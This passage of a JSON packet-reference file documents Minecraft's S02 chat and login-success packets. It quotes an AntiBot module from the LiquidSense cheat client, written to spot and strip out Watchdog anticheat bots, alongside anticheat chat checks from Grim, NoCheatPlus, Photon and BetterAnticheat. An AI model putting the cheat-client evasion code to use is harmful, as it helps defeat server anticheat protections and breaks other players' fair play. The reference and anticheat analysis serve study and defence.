ArrayList<>();\n    private final List<Integer> invisible = new ArrayList<>();\n    private final List<Integer> hitted = new ArrayList<>();\n    TimerOther lastRemoved = new TimerOther();\n    private TimerOther timer = new TimerOther();\n\n    @Override\n    public void onDisable() {\n        mc.ingameGUI.getChatGUI().addToSentMessages(\"test\");\n        clearAll();\n        super.onDisable();\n    }\n    @EventTarget\n    public void onUpdate(UpdateEvent e) {\n        if (killer.get()) {\n            if (!removed.isEmpty()) {\n                if (lastRemoved.delay(1000)) {\n                    if (removed.size() == 1) {\n                        mc.thePlayer.addChatMessage(new ChatComponentText(\"§b\"+removed.size() + \" bot has been removed\"));\n                    } else {\n                        mc.thePlayer.addChatMessage(new ChatComponentText(\"§f\"+removed.size() + \" bots has been removed\"));\n                    }\n                    lastRemoved.reset();\n                    removed.clear();\n                }\n            }\n        }\n        if (!invalid.isEmpty() && timer.delay(1000)) {\n            invalid.clear();\n            timer.reset();\n        }\n        // Loop through entity list\n        for (Object o : mc.theWorld.getLoadedEntityList()) {\n            if (o instanceof EntityPlayer) {\n                EntityPlayer ent = (EntityPlayer) o;\n                //Make sure it's not the local player + they are in a worrying distance. Ignore them if they're already invalid.\n                if (ent != mc.thePlayer && !invalid.contains(ent)) {\n\n                    String formated = ent.getDisplayName().getFormattedText();\n                    String custom = ent.getCustomNameTag();\n                    String name = ent.getName();\n\n                    if (ent.isInvisible() && !formated.startsWith(\"§c\") && formated.endsWith(\"§r\") && custom.equals(name)) {\n                        double diffX = Math.abs(ent.posX - mc.thePlayer.posX);\n                        double diffY = Math.abs(ent.posY - mc.thePlayer.posY);\n                        double diffZ = Math.abs(ent.posZ - mc.thePlayer.posZ);\n                        double diffH = Math.sqrt(diffX * diffX + diffZ * diffZ);\n                        if (diffY < 13 && diffY > 10 && diffH < 3) {\n                            List<EntityPlayer> list = getTabPlayerList();\n                            if (!list.contains(ent)) {\n                                if (killer.get() != null) {\n                                    lastRemoved.reset();\n                                    removed.add(ent);\n                                    mc.theWorld.removeEntity(ent);\n                                }\n                                invalid.add(ent);\n                            }\n\n                        }\n\n                    }\n                    //SHOP BEDWARS\n                    if (!formated.startsWith(\"§\") && formated.endsWith(\"§r\")) {\n                        invalid.add(ent);\n                    }\n                    if (ent.isInvisible()) {\n                        //BOT INVISIBLES IN GAME\n                        if (!custom.equalsIgnoreCase(\"\") && custom.toLowerCase().contains(\"§c§c\") && name.contains(\"§c\")) {\n                            if (killer.get() != null) {\n                                lastRemoved.reset();\n                                removed.add(ent);\n                                mc.theWorld.removeEntity(ent);\n                            }\n                            invalid.add(ent);\n                        }\n                    }\n                    //WATCHDOG BOT\n                    if (!custom.equalsIgnoreCase(\"\") && custom.toLowerCase().contains(\"§c\") && custom.toLowerCase().contains(\"§r\") || custom.endsWith(\"§c\")) {\n                        if (killer.get() != null) {\n                            lastRemoved.reset();\n                            removed.add(ent);\n                            mc.theWorld.removeEntity(ent);\n                        }\n                        invalid.add(ent);\n                    }\n\n                    //BOT LOBBY\n                    if (formated.contains(\"§8[NPC]\")) {\n                        invalid.add(ent);\n                    }\n                    if (!formated.contains(\"§c\") && !custom.equalsIgnoreCase(\"\")) {\n\n                        invalid.add(ent);\n                    }\n                }\n            }\n        }\n    }\n\n    public static List<EntityPlayer> getTabPlayerList() {\n        Minecraft mc = AntiBot.mc;\n        NetHandlerPlayClient var4 = mc.thePlayer.sendQueue;\n        ArrayList list = new ArrayList();\n        List players = Ordering.from(new PlayerComparator()).sortedCopy((Iterable) var4.getPlayerInfoMap());\n        for (Object o : players) {\n            NetworkPlayerInfo info = (NetworkPlayerInfo) o;\n            if (info == null) {\n                continue;\n            }\n            ArrayList list2 = list;\n            list2.add(mc.theWorld.getPlayerEntityByName(info.getGameProfile().getName()));\n        }\n        return (List<EntityPlayer>) list;\n    }\n\n    @EventTarget\n    public void onPacket(final PacketEvent event) {\n        if (mc.thePlayer == null || mc.theWorld == null)\n            return;\n\n        final Packet<?> packet = event.getPacket();\n\n\n        if (packet instanceof S02PacketChat) {\n            if (hytBedwarsValue.get()) {\n                S02PacketChat chatMessage = (S02PacketChat) packet;\n\n                Matcher matcher = Pattern.compile(\"杀死了 (.*?)\\\\(\").matcher(chatMessage.getChatComponent().getUnformattedText());\n                Matcher matcher2 = Pattern.compile(\"> (.*?)\\\\(\").matcher(chatMessage.getChatComponent().getUnformattedText());\n                if (matcher.find()) {\n                    String name = matcher.group(1);\n                    if (!name.equals(\"\")) {\n                        if (!AntiBot.playerName.contains(name)) {\n                            AntiBot.playerName.add(name);\n//                        mc.thePlayer.addChatMessage(new ChatComponentText(\"已加入列表: \" + name));\n                            new Thread(new Runnable() {\n                                @Override\n                                public void run() {\n                                    try {\n                                        Thread.sleep(6000);\n                                        playerName.remove(name);\n                                    } catch (InterruptedException ex) {\n                                        ex.printStackTrace();\n                                    }\n                                }\n                            }).start();\n                        }\n                    }\n                }\n                if (matcher2.find()) {\n                    String name = matcher2.group(1);\n                    if (!name.equals(\"\")) {\n                        if (!AntiBot.playerName.contains(name)) {\n                            AntiBot.playerName.add(name);\n//                        mc.thePlayer.addChatMessage(new ChatComponentText(\"已加入列表: \" + name));\n                            new Thread(new Runnable() {\n                                @Override\n                                public void run() {\n                                    try {\n                                        Thread.sleep(6000);\n                                        playerName.remove(name);\n                                    } catch (InterruptedException ex) {\n                                        ex.printStackTrace();\n                                    }\n                                }\n                            }).start();\n                        }\n                    }\n                }\n            }\n        }\n\n        if (packet instanceof S14PacketEntity) {\n            final S14PacketEntity packetEntity = (S14PacketEntity) event.getPacket();\n            final Entity entity = packetEntity.getEntity(mc.theWorld);\n\n            if (entity instanceof EntityPlayer) {\n                if (packetEntity.getOnGround() && !ground.contains(entity.getEntityId()))\n                    ground.add(entity.getEntityId());\n\n                if (!packetEntity.getOnGround() && !air.contains(entity.getEntityId()))\n                    air.add(entity.getEntityId());\n\n                if (packetEntity.getOnGround()) {\n                    if (entity.prevPosY != entity.posY)\n                        invaildGround.put(entity.getEntityId(), invaildGround.getOrDefault(entity.getEntityId(), 0) + 1);\n                } else {\n                    final int currentVL = invaildGround.getOrDefault(entity.getEntityId(), 0) / 2;\n\n                    if (currentVL <= 0)\n                        invaildGround.remove(entity.getEntityId());\n                    else\n                        invaildGround.put(entity.getEntityId(), currentVL);\n                }\n\n                if (entity.isInvisible() && !invisible.contains(entity.getEntityId()))\n                    invisible.add(entity.getEntityId());\n            }\n        }\n\n        if (packet instanceof S0BPacketAnimation) {\n            final S0BPacketAnimation packetAnimation = (S0BPacketAnimation) event.getPacket();\n            final Entity entity = mc.theWorld.getEntityByID(packetAnimation.getEntityID());\n\n            if (entity instanceof EntityLivingBase && packetAnimation.getAnimationType() == 0 && !swing.contains(entity.getEntityId()))\n                swing.add(entity.getEntityId());\n        }\n    }\n\n    @EventTarget\n    public void onAttack(final AttackEvent e) {\n        final Entity entity = e.getTargetEntity();\n\n        if (entity instanceof EntityLivingBase && !hitted.contains(entity.getEntityId()))\n            hitted.add(entity.getEntityId());\n    }\n\n    @EventTarget\n    public void onWorld(final WorldEvent event) {\n        clearAll();\n    }\n\n    private void clearAll() {\n        hitted.clear();\n        swing.clear();\n        ground.clear();\n        invaildGround.clear();\n        invisible.clear();\n        playerName.clear();\n    }\n\n    public static boolean isBot(final EntityLivingBase entity) {\n        if (!(entity instanceof EntityPlayer))\n            return false;\n\n        final AntiBot antiBot = (AntiBot) LiquidBounce.moduleManager.getModule(AntiBot.class);\n\n//        mc.ingameGUI.getChatGUI().addToSentMessages(\"tick: \" + entity.ticksExisted);\n\n        if (antiBot == null || !antiBot.getState())\n            return false;\n        if (antiBot.colorValue.get() && !entity.getDisplayName().getFormattedText()\n                .replace(\"§r\", \"\").contains(\"§\"))\n            return true;\n\n//        mc.thePlayer.addChatMessage(new ChatComponentText(entity.getName()\n//                + \" \" + playerName.contains(entity.getName())\n//                + \" \" + playerName.size()));\n        if (antiBot.hytBedwarsValue.get() && playerName.contains(entity.getName()))\n            return true;\n\n        if (antiBot.livingTimeValue.get() && entity.ticksExisted < antiBot.livingTime.get())\n            return true;\n\n        if (antiBot.groundValue.get() && !antiBot.ground.contains(entity.getEntityId()))\n            return true;\n\n        if (antiBot.airValue.get() && !antiBot.air.contains(entity.getEntityId()))\n            return true;\n\n        if (antiBot.swingValue.get() && !antiBot.swing.contains(entity.getEntityId()))\n            return true;\n\n        if (antiBot.healthValue.get() && entity.getHealth() > 20F)\n            return true;\n\n        if (antiBot.entityIDValue.get() && (entity.getEntityId() >= 1000000000 || entity.getEntityId() <= -1))\n            return true;\n\n        if (antiBot.derpValue.get() && (entity.rotationPitch > 90F || entity.rotationPitch < -90F))\n            return true;\n\n        if (antiBot.wasInvisibleValue.get() && antiBot.invisible.contains(entity.getEntityId()))\n            return true;\n\n        if (antiBot.armorValue.get()) {\n            final EntityPlayer player = (EntityPlayer) entity;\n\n            if (player.inventory.armorInventory[0] == null && player.inventory.armorInventory[1] == null &&\n                    player.inventory.armorInventory[2] == null && player.inventory.armorInventory[3] == null)\n                return true;\n        }\n\n        if (antiBot.pingValue.get()) {\n            EntityPlayer player = (EntityPlayer) entity;\n\n            if (mc.getNetHandler().getPlayerInfo(player.getUniqueID()).getResponseTime() == 0)\n                return true;\n        }\n\n        if (antiBot.needHitValue.get() && !antiBot.hitted.contains(entity.getEntityId()))\n            return true;\n\n        if (antiBot.invaildGroundValue.get() && antiBot.invaildGround.getOrDefault(entity.getEntityId(), 0) >= 10)\n            return true;\n\n        if (antiBot.tabValue.get()) {\n            final boolean equals = antiBot.tabModeValue.get().equalsIgnoreCase(\"Equals\");\n            final String targetName = ColorUtils.stripColor(entity.getDisplayName().getFormattedText());\n\n            if (targetName != null) {\n                for (final NetworkPlayerInfo networkPlayerInfo : mc.getNetHandler().getPlayerInfoMap()) {\n                    final String networkName = ColorUtils.stripColor(EntityUtils.getName(networkPlayerInfo));\n\n                    if (networkName == null)\n                        continue;\n\n                    if (equals ? targetName.equals(networkName) : targetName.contains(networkName))\n                        return false;\n                }\n\n                return true;\n            }\n        }\n\n        if (antiBot.duplicateInWorldValue.get()) {\n            if (mc.theWorld.loadedEntityList.stream()\n                    .filter(currEntity -> currEntity instanceof EntityPlayer && ((EntityPlayer) currEntity)\n                            .getDisplayNameString().equals(((EntityPlayer) currEntity).getDisplayNameString()))\n                    .count() > 1)\n                return true;\n        }\n\n        if (antiBot.duplicateInTabValue.get()) {\n            if (mc.getNetHandler().getPlayerInfoMap().stream()\n                    .filter(networkPlayer -> entity.getName().equals(ColorUtils.stripColor(EntityUtils.getName(networkPlayer))))\n                    .count() > 1)\n                return true;\n        }\n\n        return entity.getName().isEmpty() || entity.getName().equals(mc.thePlayer.getName());\n    }\n\n    @SideOnly(Side.CLIENT)\n    public static class PlayerComparator implements Comparator<NetworkPlayerInfo> {\n        private PlayerComparator() {\n        }\n\n        public int compare(NetworkPlayerInfo p_compare_1_, NetworkPlayerInfo p_compare_2_) {\n            ScorePlayerTeam scoreplayerteam = p_compare_1_.getPlayerTeam();\n            ScorePlayerTeam scoreplayerteam1 = p_compare_2_.getPlayerTeam();\n            return ComparisonChain.start()\n                    .compareTrueFirst(p_compare_1_.getGameType() != WorldSettings.GameType.SPECTATOR,\n                            p_compare_2_.getGameType() != WorldSettings.GameType.SPECTATOR)\n                    .compare(scoreplayerteam != null ? scoreplayerteam.getRegisteredName() : \"\",\n                            scoreplayerteam1 != null ? scoreplayerteam1.getRegisteredName() : \"\")\n                    .compare(p_compare_1_.getGameProfile().getName(), p_compare_2_.getGameProfile().getName()).result();\n        }\n    }\n}\n// NOTE (AI): The S02 parsing is the hytBedwarsValue branch of onPacket; the rest of the file is LiquidBounce's standard AntiBot heuristics (tab, entity id, living time, ground/air).",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/misc/AntiBot.java",
      "vanilla_hook": "PacketEvent (S02PacketChat), UpdateEvent, and entity checks on S14PacketEntity.",
      "anti_cheat_notes": "The kill-feed names are server-authored, so a bot list built from them inherits server trust; the 6-second expiry keeps the list from going stale mid-game.",
      "variations": "No other client in the corpus mines S02 for bot whitelisting; the regexes are hardcoded for the Chinese server's kill-feed format."
     }
    ],
    "general_hooks": "PacketReceiveEvent / EventPacket(isIncoming) is universal across all 6 clients with hits. Components in Rise 6.x (APIKeyComponent, IRCInfoComponent, AdaptiveRefreshRateComponent, LoggerRCECheck) subscribe to the same receive pipeline as non-module listeners. November Recode 2.0 parses S02 in EventPacket.In (AutoPlayModule, PhaseModule); LiquidSense Dev parses it in PacketEvent (AntiBot).",
    "client_variations": "Sigma reads the component via func_148915_c() (getChatComponent) and routes replies through ChatUtil.sendChat_NoFilter. Memeware and Spicy use their own LWJEB packet events and mutate nothing. Rise 5.99 reads chatComponent directly and uses event.setCancelled. Rise 6.x wraps S02PacketChat and uses isChat() plus getSiblings() for structured extraction. November Recode 2.0 reads the component via getUnformattedText() and sends replies with addToSendQueueSilent; LiquidSense Dev matches Chinese kill-feed patterns with Pattern/Matcher and maintains a timed static name list.",
    "related": [
     "C01PacketChatMessage",
     "S42PacketCombatEvent",
     "S45PacketTitle",
     "S47PacketPlayerListHeaderFooter"
    ],
    "anticheat": {
     "overview": "S02 is the outbound chat packet: anticheats send their own alerts through it, but they cannot see what the client renders, so none of them validate the packet's payload on the server side. The chat checks that exist in the corpus run on the INBOUND chat packet or Bukkit chat events and then talk back through S02: Grim flags blank tab-complete and impossible chat, NCP gates chat behind a captcha, Photon flags chat while sprinting or with an open inventory, and BetterAnticheat flags chat while chat is set to hidden. From the anticheat's point of view S02 is the delivery channel, not the input.",
     "checks": [
      {
       "name": "ChatA (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Flags blank or slash-only tab-complete packets, an exploit probe that accompanies chat-related client abuse.",
       "how_it_works": "Pre-Via listener on the inbound tab-complete packet: if the text is exactly a slash or trims to empty, the check flags and cancels the packet. This is the chat-domain check in Grim's corpus for S02 because the outbound chat packet is the visible counterpart; the detection itself happens on the client-to-server side.",
       "detects": "Tab-complete spam and blank tab-complete exploitation attempts that usually target chat or command pipelines.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/chat/ChatA.java =====\npackage ac.grim.grimac.checks.impl.chat;\n\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.PreViaPacketReceiveListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientTabComplete;\n\n@CheckData(name = \"ChatA\", stableKey = \"grim.exploit.blank_tab_complete\", description = \"Sent a tab complete packet with no command or input text\", experimental = true)\npublic class ChatA extends Check implements PreViaPacketReceiveListener {\n\n    public ChatA(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public boolean isApplicable() {\n        return PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_13);\n    }\n\n    @Override\n    public void onPreViaPacketReceive(PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.TAB_COMPLETE) {\n            WrapperPlayClientTabComplete wrapper = new WrapperPlayClientTabComplete(event);\n            String text = wrapper.getText();\n            if (text.equals(\"/\") || text.trim().isEmpty()) {\n                if (flag() && shouldModifyPackets()) {\n                    event.setCancelled(true);\n                    player.onPacketCancel();\n                }\n            }\n        }\n    }\n}\n// NOTE (AI): Grim's other chat checks (ChatB, ChatC, ChatD) follow the same pattern on other chat-adjacent inbound packets.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/chat/ChatA.java",
       "variations": "Grim has no outbound-chat check at all; like every anticheat it only emits through S02."
      },
      {
       "name": "Captcha (NoCheatPlus)",
       "found_in": [
        "Updated-NoCheatPlus-NoCheatPlus"
       ],
       "purpose": "Gates chat behind a generated captcha: players must answer correctly before chat is accepted, with kick actions on repeated failure.",
       "how_it_works": "On the inbound chat listener, a player flagged by other chat checks is sent a captcha question through the outbound chat channel (S02). The captcha check compares the player's next message to the generated code, increments tries and violation level on mismatch, re-sends the question, and executes the configured actions (up to kicking) once tries exceed the threshold.",
       "detects": "Spam bots, chat flooders and automated chat abuse that cannot solve a text captcha.",
       "detailed_code": "// ===== FILE: Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/chat/Captcha.java =====\n/*\n * This program is free software: you can redistribute it and/or modify\n *   it under the terms of the GNU General Public License as published by\n *   the Free Software Foundation, either version 3 of the License, or\n *   (at your option) any later version.\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU General Public License for more details.\n *\n *   You should have received a copy of the GNU General Public License\n *   along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\npackage fr.neatmonster.nocheatplus.checks.chat;\n\nimport java.util.concurrent.ThreadLocalRandom;\n\nimport org.bukkit.entity.Player;\n\nimport fr.neatmonster.nocheatplus.checks.Check;\nimport fr.neatmonster.nocheatplus.checks.CheckType;\nimport fr.neatmonster.nocheatplus.players.DataManager;\nimport fr.neatmonster.nocheatplus.players.IPlayerData;\nimport fr.neatmonster.nocheatplus.utilities.ColorUtil;\n\n/**\n * NOTE: EARLY REFACTORING STATE, MOST METHODS NEED SYNC OVER DATA !\n * @author mc_dev\n *\n */\npublic class Captcha extends Check implements ICaptcha{\n\n    public Captcha() {\n        super(CheckType.CHAT_CAPTCHA);\n    }\n\n    @Override\n    public void checkCaptcha(Player player, String message, ChatConfig cc, ChatData data, boolean isMainThread) {\n        // Correct answer to the captcha?\n        if (message.equals(data.captchaGenerated)) {\n            // Yes, clear their data and do not worry anymore about them.\n            data.reset();\n            data.captchaStarted = false;\n            player.sendMessage(ColorUtil.replaceColors(cc.captchaSuccess));\n        } \n        else {\n            // Increment their tries number counter.\n            data.captchTries++;\n            data.captchaVL ++;\n            // Have they failed too man times?\n            if (data.captchTries > cc.captchaTries) {\n                // Find out if we need to kick the player or not.\n                executeActions(player, data.captchaVL, 1, cc.captchaActions);\n                // (Resetting captcha tries is done on quit/kick).\n            }\n            // Display the question again (if not kicked).\n            if (player.isOnline()) {\n                sendCaptcha(player, cc, data);\n            }\n        }\n    }\n\n    @Override\n    public void sendNewCaptcha(Player player, ChatConfig cc, ChatData data) {\n        // Display a captcha to the player.\n        generateCaptcha(cc, data, true);\n        sendCaptcha(player, cc, data);\n        data.captchaStarted = true;\n    }\n\n    @Override\n    public void generateCaptcha(ChatConfig cc, ChatData data, boolean reset) {\n        if (reset) data.captchTries = 0;\n        final char[] chars = new char[cc.captchaLength];\n        for (int i = 0; i < cc.captchaLength; i++) {\n            chars[i] = cc.captchaCharacters.charAt(ThreadLocalRandom.current().nextInt(cc.captchaCharacters.length()));\n        }\n        data.captchaGenerated = new String(chars);\n    }\n\n    @Override\n    public void resetCaptcha(Player player){\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        ChatData data = pData.getGenericInstance(ChatData.class);\n        synchronized (data) {\n            resetCaptcha(player, pData.getGenericInstance(ChatConfig.class), data, pData);\n        }\n    }\n\n    @Override\n    public void resetCaptcha(Player player, ChatConfig cc, ChatData data, IPlayerData pData) {\n        data.captchTries = 0;\n        if (shouldCheckCaptcha(player, cc, data, pData) || shouldStartCaptcha(player, cc, data, pData)){\n            generateCaptcha(cc, data, true);\n        }\n    }\n\n    @Override\n    public void sendCaptcha(Player player, ChatConfig cc, ChatData data) {\n        player.sendMessage(ColorUtil.replaceColors(cc.captchaQuestion.replace(\"[captcha]\", data.captchaGenerated)));\n    }\n\n    @Override\n    public boolean shouldStartCaptcha(Player player, ChatConfig cc, ChatData data, IPlayerData pData) {\n        // TODO: Only call if IWorldData.isCheckActive(CHAT_CAPTCHA) has returned true?\n        return !data.captchaStarted && pData.isCheckActive(CheckType.CHAT_CAPTCHA, player);\n    }\n\n    @Override\n    public boolean shouldCheckCaptcha(Player player, ChatConfig cc, ChatData data, IPlayerData pData) {\n        // TODO: Only call if IWorldData.isCheckActive(CHAT_CAPTCHA) has returned true?\n        return data.captchaStarted  && pData.isCheckActive(CheckType.CHAT_CAPTCHA, player);\n    }\n}\n// NOTE (AI): Captcha resets on quit and can be reissued on login; the question text is replaced into the configurable message through the chat channel.",
       "code_source": "Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/chat/Captcha.java",
       "variations": "Grim and Photon detect impossible chat states instead of gating; NCP is the only corpus anticheat that actively gates the chat channel."
      },
      {
       "name": "ImpossibleChat (Photon AntiCheatAddition)",
       "found_in": [
        "Photon-GitHub-AntiCheatAddition"
       ],
       "purpose": "Flags chat messages that a vanilla client could not physically send, because the player is sprinting, sneaking, blocking, dead or had an inventory open.",
       "how_it_works": "Listens to Bukkit's async chat event rather than the packet. If the user is sprinting, sneaking, blocking, dead, or has had an inventory open for over a second, the chat is impossible and the module flags with 25 violation points, cancelling the event at the configured violation level.",
       "detects": "Chat-spoofing clients and macro bots that send chat while the real player state says chat is impossible.",
       "detailed_code": "// ===== FILE: Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/checks/impossiblechat/ImpossibleChat.java =====\npackage de.photon.anticheataddition.modules.checks.impossiblechat;\n\nimport de.photon.anticheataddition.modules.ViolationModule;\nimport de.photon.anticheataddition.user.User;\nimport de.photon.anticheataddition.util.violationlevels.Flag;\nimport de.photon.anticheataddition.util.violationlevels.ViolationLevelManagement;\nimport de.photon.anticheataddition.util.violationlevels.ViolationManagement;\nimport org.bukkit.event.EventHandler;\nimport org.bukkit.event.Listener;\nimport org.bukkit.event.player.AsyncPlayerChatEvent;\n\npublic final class ImpossibleChat extends ViolationModule implements Listener\n{\n    public static final ImpossibleChat INSTANCE = new ImpossibleChat();\n\n    private final int cancelVl = loadInt(\".cancel_vl\", 75);\n\n    private ImpossibleChat()\n    {\n        super(\"ImpossibleChat\");\n    }\n\n    @EventHandler\n    public void onAsyncChat(final AsyncPlayerChatEvent event)\n    {\n        final var user = User.getUser(event.getPlayer());\n        if (User.isUserInvalid(user, this)) return;\n\n        if (user.getPlayer().isSprinting() ||\n            user.getPlayer().isSneaking() ||\n            user.getPlayer().isBlocking() ||\n            user.getPlayer().isDead() ||\n            // Have the inventory opened for some time\n            (user.hasOpenInventory() && user.notRecentlyOpenedInventory(1000)))\n        {\n            this.getManagement().flag(Flag.of(user).setAddedVl(25).setCancelAction(cancelVl, () -> event.setCancelled(true)));\n        }\n    }\n\n    @Override\n    protected ViolationManagement createViolationManagement()\n    {\n        return ViolationLevelManagement.builder(this).loadThresholdsToManagement().withDecay(600, 25).build();\n    }\n}\n// NOTE (AI): The cancel threshold (default 75 VL) means repeated impossible chat eventually gets silenced.",
       "code_source": "Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/checks/impossiblechat/ImpossibleChat.java",
       "variations": "BetterAnticheat HiddenChatCheck targets the HIDDEN chat-visibility setting instead of body state; both are impossible-chat detectors."
      },
      {
       "name": "HiddenChatCheck (BetterAnticheat)",
       "found_in": [
        "amnoah-BetterAnticheat"
       ],
       "purpose": "Flags chat messages sent while the player's client settings declare chat visibility as hidden.",
       "how_it_works": "Tracks the chat-visibility value from inbound client settings (FULL, SYSTEM or HIDDEN). When a chat message arrives and the tracked visibility is HIDDEN, the check fails; the first occurrence is used as an initial-flag grace so settings that arrive late do not cause false positives.",
       "detects": "Clients that send chat while the client settings say chat is disabled, which is impossible for a vanilla client.",
       "detailed_code": "// ===== FILE: amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/check/impl/chat/HiddenChatCheck.java =====\npackage better.anticheat.core.check.impl.chat;\n\nimport better.anticheat.core.BetterAnticheat;\nimport better.anticheat.core.check.Check;\nimport better.anticheat.core.check.CheckInfo;\nimport better.anticheat.core.player.Player;\nimport com.github.retrooper.packetevents.event.simple.PacketPlayReceiveEvent;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientSettings;\n\n/**\n * This check looks for chatting with no chat box.\n */\n@CheckInfo(name = \"HiddenChat\", category = \"chat\")\npublic class HiddenChatCheck extends Check {\n\n    private boolean canChat = true, initalFlag = false;\n\n    public HiddenChatCheck(BetterAnticheat plugin, Player player) {\n        super(plugin, player);\n    }\n\n    @Override\n    public void handleReceivePlayPacket(PacketPlayReceiveEvent event) {\n\n        /*\n         * In Minecraft, there are three chat modes:\n         * FULL - Full access to the chat with other players.\n         * SYSTEM - You should only be able to interact with the Minecraft server, not other players.\n         * HIDDEN - You cannot interact with anything.\n         * So, if a player interacts with the chat on Hidden, they're cheating!\n         */\n\n        switch (event.getPacketType()) {\n            case CLIENT_SETTINGS:\n                try {\n                    WrapperPlayClientSettings wrapper = new WrapperPlayClientSettings(event);\n                    switch (wrapper.getChatVisibility()) {\n                        case FULL:\n                        case SYSTEM:\n                            canChat = true;\n                            break;\n                        case HIDDEN:\n                            canChat = false;\n                            break;\n                    }\n                } catch (final Exception e) {\n                    player.getChecks().remove(this);\n                    return;\n                }\n                break;\n            case CHAT_MESSAGE:\n                if (!canChat) {\n                    // Settings aren't always sent to update this until after chats are sent.\n                    if (initalFlag) fail();\n                    else initalFlag = true;\n                }\n                break;\n        }\n    }\n}\n// NOTE (AI): The initial-flag grace exists because the client does not always re-send settings before the first chat message.",
       "code_source": "amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/check/impl/chat/HiddenChatCheck.java",
       "variations": "Photon ImpossibleChat checks body state; BetterAnticheat checks the declared chat mode, the two complementary reads of the same impossibility."
      }
     ]
    }
   },
   "wiki_notes": [
    "Position 2 (above the hotbar action bar) is the overlay-style message, while position 0 goes to the chat box.",
    "MCP 1.8.9 S02PacketChat implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleChat; wire serde is readPacketData/writePacketData via readByte, readChatComponent.",
    "1.8.9 callers: EntityPlayerMP.displayGUIChest sends new S02PacketChat (line 780) +2 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/player/EntityPlayerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S02PacketChat/",
   "mcp_path": "net/minecraft/network/play/server/S02PacketChat.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP",
    "ServerConfigurationManager",
    "NetHandlerPlayServer"
   ]
  },
  {
   "id": "S02PacketLoginSuccess",
   "hex": "0x02",
   "dec": 2,
   "dir": "CLIENTBOUND",
   "state": "LOGIN",
   "name": "Login Success",
   "desc": "Confirms successful authentication. Contains the player's UUID and username. Transitions the connection state from LOGIN to PLAY.",
   "tags": [
    "login",
    "authentication",
    "player"
   ],
   "fields": [
    {
     "name": "uuid",
     "type": "String (36 chars)",
     "desc": "Player's UUID in standard format (e.g. '123e4567-e89b-12d3-a456-426614174000')"
    },
    {
     "name": "username",
     "type": "String (max 16)",
     "desc": "The player's confirmed username"
    }
   ],
   "encoding": [
    [
     "UUID",
     "String",
     "UUID with dashes"
    ],
    [
     "Username",
     "String",
     "Player's Minecraft username"
    ]
   ],
   "mcp": [
    "NetHandlerLoginClient.handleLoginSuccess()"
   ],
   "handler": "INetHandlerLoginClient",
   "notes": "After receiving this, the client connection state transitions to PLAY. The client creates the EntityPlayerSP (local player entity) with the received UUID and username. Compression may be enabled next via S03PacketEnableCompression.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The LOGIN-state success packet. NetHandlerLoginServer sends it after encryption and session validation complete: `new S02PacketLoginSuccess(this.loginGameProfile)`, carrying the confirmed UUID and username as two Strings. Vanilla client handling is the state transition itself: NetHandlerLoginClient.handleLoginSuccess stores the GameProfile, calls `setConnectionState(EnumConnectionState.PLAY)`, and installs the NetHandlerPlayClient over the same connection. From this instant the module system's world exists conceptually, but the world itself only materializes on S01PacketJoinGame."
     },
     {
      "h": "Vanilla handling",
      "p": "handleLoginSuccess is three lines in the 1.8.9 sources: `this.field_175091_e = packetIn.func_179730_a(); this.field_147393_d.setConnectionState(EnumConnectionState.PLAY); this.field_147393_d.setNetHandler(new NetHandlerPlayClient(this.field_147394_b, this.field_147395_c, this.field_147393_d, this.field_175091_e));`. The gameProfile field is the canonical UUID/name the client uses for the whole session; the session service may return a name different from the one sent in C00PacketLoginStart, and this packet is where the correction lands."
     },
     {
      "h": "Why clients touch it",
      "p": "The corpus has exactly one non-vanilla reference: Rise 5.99 StaffAlert imports S02PacketLoginSuccess at line 18, and the import is unused (the module's logic touches only S02PacketChat and the Hypixel API). No module in the 8 clients reads the UUID or name from this packet. The structural reason: the packet is consumed by the login handler before any module event bus is live, and clients that need their own UUID or username read them from mc.getSession() or their GameProfile, not from the network. Session-stealing or alt-login features that would care about this packet are absent from the corpus."
     },
     {
      "h": "Exploit surface",
      "p": "The profile data is server-asserted. An offline-mode server can send any UUID and username it likes, which is the entire basis of name-based alt accounts and cracked-server identity; clients that display 'authenticated' state off this packet would be trivially spoofed. On online-mode servers the values are Mojang-confirmed, so the packet is the client's first trusted identity. No timing or state abuse exists here: the transition to PLAY is instantaneous and any delay would only stall the loading screen."
     }
    ],
    "overview": "The LOGIN-state success packet that hands the client its confirmed UUID and username and flips the connection to PLAY. Pure vanilla in 7 of 8 clients; the only module hit is an unused import in Rise 5.99 StaffAlert. Nothing in the corpus reads the profile from this packet.",
